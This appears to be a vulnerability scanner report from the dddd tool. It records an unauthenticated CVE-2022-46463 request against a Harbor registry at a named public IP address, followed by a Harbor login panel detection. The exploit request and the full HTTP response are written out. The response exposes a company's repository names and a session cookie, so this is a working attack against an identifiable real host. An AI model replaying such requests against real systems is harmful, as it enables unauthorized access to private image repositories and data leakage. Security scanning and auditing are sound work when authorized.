dddd-report   2026-09-15 07:33:28
1  CVE-2022-46463 HIGH 47.97.154.188:6020
name: Harbor <=2.5.3 - Unauthorized Access      author: xc      security: High
description: An access control issue in Harbor v1.X.X to v2.5.3 allows attackers to access public and private image repositories without authentication
https://47.97.154.188:6020/api/v2.0/search?q=/
→
GET /api/v2.0/search?q=/ HTTP/1.1 Host: 47.97.154.188:6020 User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2117.157 Safari/537.36 Connection: close Accept: */* Accept-Language: en Accept-Encoding: gzip
←
HTTP/1.1 200 OK Connection: close Content-Length: 664 Content-Security-Policy: frame-ancestors 'none' Content-Type: application/json Date: Mon, 14 Sep 2026 23:46:01 GMT Server: nginx Set-Cookie: sid=cb4eb8b2dedc0ab4d33c9776db4ca7f4; Path=/; Secure; HttpOnly Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: DENY X-Request-Id: 2f109cec-a318-4cec-954b-f3948f0fa14b {"project":[],"repository":[{"artifact_count":1,"project_id":40,"project_name":"solax-vpp-api","project_public":true,"repository_name":"solax-vpp-api/cn-green/solax-vpp-api"},{"artifact_count":13,"project_id":40,"project_name":"solax-vpp-api","project_public":true,"pull_count":31,"repository_name":"solax-vpp-api/eu-blue/solax-vpp-api"},{"artifact_count":6,"project_id":40,"project_name":"solax-vpp-api","project_public":true,"pull_count":19,"repository_name":"solax-vpp-api/na-blue/solax-vpp-api"},{"artifact_count":13,"project_id":40,"project_name":"solax-vpp-api","project_public":true,"pull_count":2,"repository_name":"solax-vpp-api/cn-blue/solax-vpp-api"}]}
2  harbor-panel INFO 47.97.154.188:6020
name: Harbor Login Panel - Detect      author: xc      security: Info
description: Harbor login panel was detected.
https://47.97.154.188:6020
→
GET / HTTP/1.1 Host: 47.97.154.188:6020 User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2117.157 Safari/537.36 Connection: close Accept: */* Accept-Language: en Accept-Encoding: gzip
←
HTTP/1.1 200 OK Connection: close Content-Length: 785 Accept-Ranges: bytes Cache-Control: no-store, no-cache, must-revalidate Content-Security-Policy: frame-ancestors 'none' Content-Type: text/html Date: Mon, 14 Sep 2026 23:46:11 GMT Etag: "6541f5da-311" Last-Modified: Wed, 01 Nov 2023 06:53:14 GMT Server: nginx Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: DENY <!DOCTYPE html> <html> <head> <meta charset="utf-8"/> <title>Harbor</title> <base href="/"/> <meta name="viewport" content="width=device-width, initial-scale=1"/> <link rel="icon" type="image/x-icon" href="favicon.ico?v=2"/> <link rel="stylesheet" href="styles.75cb4562f0127450.css"></head> <body> <harbor-app> <div class="spinner spinner-lg app-loading app-loading-fixed"> Loading... </div> </harbor-app> <script src="runtime.8c0f1593b67df90d.js" type="module"></script><script src="polyfills.4c1d388f8edda830.js" type="module"></script><script src="scripts.3846d86d42cdb753.js" defer></script><script src="main.74c786f6199709cc.js" type="module"></script></body> </html>